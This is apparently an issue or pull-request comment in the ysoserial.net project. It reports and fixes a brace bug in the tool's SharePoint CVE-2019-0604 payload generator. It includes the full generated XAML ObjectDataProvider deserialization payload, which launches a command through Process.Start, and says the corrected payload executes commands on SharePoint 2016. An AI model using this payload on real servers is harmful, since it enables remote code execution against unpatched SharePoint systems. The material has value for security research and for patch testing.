fix bug of xaml for SharePoint CVE-2019-0604

[Y4er]

PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p sharepoint --cve CVE-2019-0604 -c "cmd /c calc"
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{{a:Type c:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>

at ObjectType="{{a:Type c:Process}}" the payload should only have one brace,otherwise it will report an error,like this

XamlParseException: “规则中的意外标记“Open”:“{{a:Type c:Process}}”中的“MarkupExtension ::= '{' @TYPENAME (Arguments)? '}'”。”，行号为“1”，行位置为“280”。

After modifying it to a curly brace, execute the command normally, test on sharepoint 2016.

[pwntester]

Thanks!